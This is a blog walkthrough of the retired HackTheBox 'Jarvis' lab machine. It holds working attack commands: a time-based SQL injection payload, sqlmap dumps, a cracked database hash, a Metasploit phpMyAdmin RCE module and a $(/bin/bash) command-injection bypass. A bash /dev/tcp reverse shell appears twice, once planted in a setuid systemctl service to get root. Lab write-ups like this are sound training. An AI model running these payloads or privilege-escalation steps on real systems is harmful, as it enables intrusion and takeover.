Welcome to another HackTheBox walkthrough on this blog! "Jarvis" was recently retired, and this was definitely one of my favorite Linux boxes so far on HTB.
Let's get started!
Enumeration & Recon
As always, we want to know what we're looking at - let's start checking out what ports are open on this machine.
![]() |
| nmap -Pn -A 10.10.10.143 -oN jarvis.nmap.out |
From our quick TCP port scan, we see that ports 22 and 80 are open, running SSH and HTTP, respectively. Since HTTP is available, let's go ahead and run nikto and dirbuster in the background while we poke around at the actual webpage.
![]() |
| nikto -h 10.10.10.143 | tee jarvis.nikto.out |
Nikto shows the presence of phpmyadmin, which means we have some potential SQL opportunities. Dirbuster also shows phpmyadmin:
Both Nikto and Dirb show that /phpmyadmin/README is available - let's check that out and see if we can find any version information.
We're looking at version 4.8.0. Excellent - this will help us narrow down any vulnerabilities and exploits we can try out once we have more information.
Next, let's check out the web page and see what the site looks like.
It looks like a hotel website. Next, let's look at the phpmyadmin page that Nikto and Dirbuster found.
![]() |
| phpmyadmin login portal |
If we manage to get some credentials, we can try them here. Let's go back to the hotel website and see if we can find any opportunities for a foothold.
When selecting a particular room, we see that we are taken to a URL of the form http://10.10.10.143/room.php?cod=<ROOM ID>
![]() |
| http://10.10.10.143/room.php?cod=2 |
Since we know that MySQL is involved, can we fiddle with the "cod" parameter and leverage SQL injection?
SQL Injection and Finding Credentials
Let's see what happens if we try browsing to this URL:
http://10.10.10.143/room.php?cod=3%20AND%20sleep(10)%20--The page takes about 10 seconds to load, which means the parameter could be vulnerable to SQL injection.
Let's start up sqlmap - our goal is to obtain more information on the underlying MySQL database and perhaps find credentials if we're lucky.
![]() |
| Starting up sqlmap |
We see that the "cod" parameter is vulnerable like we thought. Let's keep digging with sqlmap and see if we can find databases and tables:
sqlmap -u http://10.10.10.143/room.php?cod=3 --dbs
We obtained some database names! Some of those database names appear to be garbage or created by other people on the machine (downside of using the free server). But the "mysql" database name is what we want. Let's find the tables in this database:
sqlmap -u http://10.10.10.143/room.php?cod=3 -D mysql --tables
Lots of table names get returned. The "user" table is interesting, since that's where we may find our password hashes.
Let's run sqlmap one more time to dump the "user" table:
sqlmap -u http://10.10.10.143/room.php?cod=3 -D mysql -T user --dump
We get the following username and password hash:
DBadmin:*2D2B7A5E4E637B8FBA1D17F40318F277D29964D0
Let's crack it!
john --format=mysql-sha1 --wordlist /usr/share/wordlists/rockyou.txt dbadmin_hash.txtjohn --show dbadmin_hash.txt
We get the password "imissyou" for DBadmin. Alternatively, we can even crack the password hash using sqlmap itself to save a step (but it's always fun to practice cracking with other tools).
![]() |
| Getting and cracking the password using sqlmap |
Now that we have the password for DBadmin, let's log into that phpmyadmin portal and reach the management page.
Getting Low-Privilege Shell
We know we're up against phpmyadmin 4.8.0, which has an authenticated LFI RCE vulnerability. Luckily for us, there's already a Metasploit module for us to use. Let's fire up msfconsole and get a shell.
![]() |
| use exploit/multi/http/phpmyadmin_lfi_rce |
![]() |
| Setting module options. |
![]() |
| Obtaining a meterpreter shell |
Now that we have a shell, let's make a bit more comfortable.
![]() |
| Get interactive TTY |
Let's see if we can get user.txt!
![]() |
| Finding user.txt |
Unfortunately, it looks like we'll need to own the user pepper before we can get user.txt.
Owning User
We have access as www-data - what privileges do we have? Let's run "sudo -l" and see what we get back:
We can run /var/www/Admin-Utilities/simpler.py as pepper, without entering a password. Let's see what this simpler.py python script does. (Github snippet for code to come later)
The "exec_ping" function is definitely of interest - it performs the following:
- Asks the user to provide an IP address as input
- Checks if the user input contains forbidden characters
- If the input passes the filter, run os.system('ping' + input)
![]() |
| Vulnerable method. |
We have a command injection opportunity! Luckily for us, the only filtered characters are: '&', ';', '-', '`', '||', '|'
The '$' character is not filtered, and neither are parentheses or slashes. This means we can provide $(/bin/bash) as our user input, and the python script will try to execute "ping $(/bin/bash), which will get us a shell!
According to the python script, exec_ping will run if the "-p" argument is provided when invoking the script.
Let's try out our injection attempt! We'll run the program as pepper and then get our shell.
![]() |
| Running the script as pepper |
Success! It's not quite a functional shell yet - let's run " /bin/bash -i >& /dev/tcp/<your IP>/<listening port> 0>&1 " to start a reverse shell for pepper (don't forget to listen on your local machine at the designated port to catch the reverse shell). Once that's set, we can get user.txt!
![]() |
| Catch reverse shell and read user.txt |
We've obtained user!
I ran " python -c 'import pty; pty.spawn("/bin/bash")' " again for convenience.
Now, let's go for privilege escalation.
Privilege Escalation to Root
"sudo -l" doesn't work, since it asks for pepper's password. Let's see what setuid programs we can run.
![]() |
| find / -perm /4000 2> /dev/null |
systemctl shows up as a setuid program, which definitely stands out. We can run that as pepper, and the owner of the program is root. Since systemctl allows us to run arbitrary code, we can use this as our stepping stone to get a root shell!
We'll use systemctl to create our own service that runs a reverse shell. Unfortunately, we don't seem to have write access to the typical default directories that hold the service files.
Luckily, "systemctl link" allows us to link and enable a service that's in a different directory - like pepper's home directory. Let's go ahead and create our shell script that we want our service to execute (and place it in pepper's home directory). We'll also give it full access:
echo '#!/bin/bash' > /home/pepper/gluggers.sh; echo '/bin/bash -i >& /dev/tcp/<your IP>/<listening port> 0>&1' >> /home/pepper/gluggers.sh; chmod 777 /home/pepper/gluggers.sh
![]() |
| Creating our service |
We'll also write a very simple unit file for our custom service, again placing it in the pepper's home directory. We want the service to execute the shell script we just made.
echo '[Unit]' > /home/pepper/gluggers.service; echo 'Description=Example systemd service.' >> /home/pepper/gluggers.service; echo '' >> /home/pepper/gluggers.service; echo '[Service]' >> /home/pepper/gluggers.service; echo 'Type=simple' >> /home/pepper/gluggers.service; echo 'ExecStart=/bin/bash /home/pepper/gluggers.sh' >> /home/pepper/gluggers.service; echo '' >> /home/pepper/gluggers.service; echo '[Install]' >> /home/pepper/gluggers.service; echo 'WantedBy=multi-user.target' >> /home/pepper/gluggers.servicechmod 644 /home/pepper/gluggers.service
![]() |
| Creating a unit file for our service |
Now we link and enable our service using systemctl:
systemctl link /home/pepper/gluggers.service
systemctl enable /home/pepper/gluggers.service
![]() |
| Linking and enabling our service. |
Start our service and catch the reverse shell! Don't forget to listen on the port!
![]() |
| Catching root reverse shell. |
We got root!


































No comments:
Post a Comment